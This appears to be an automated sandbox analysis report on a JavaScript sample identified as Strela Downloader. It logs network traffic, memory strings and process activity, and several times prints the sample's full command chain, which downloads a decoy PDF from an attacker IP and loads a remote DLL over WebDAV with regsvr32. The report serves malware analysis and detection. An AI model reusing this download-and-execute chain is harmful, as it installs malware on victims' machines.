6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2032174860.0000019239E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2088289427.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088289427.0000017F634D2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2086813920.0000017F634FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101784891.0000017F634D2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101497883.0000017F634A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2101784891.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088289427.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 00000007.00000002.2101784891.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088289427.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.2101497883.0000017F634A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sceab
Source: svchost.exe, 00000009.00000002.3330391147.000001276FA90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2089015671.000001276F7E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5652, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 106161149748268293.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5456:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mnwif5t1.gtu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 106161149748268293.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106161149748268293.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1624,i,7132419276765248093,6791947108155488567,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1624,i,7132419276765248093,6791947108155488567,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
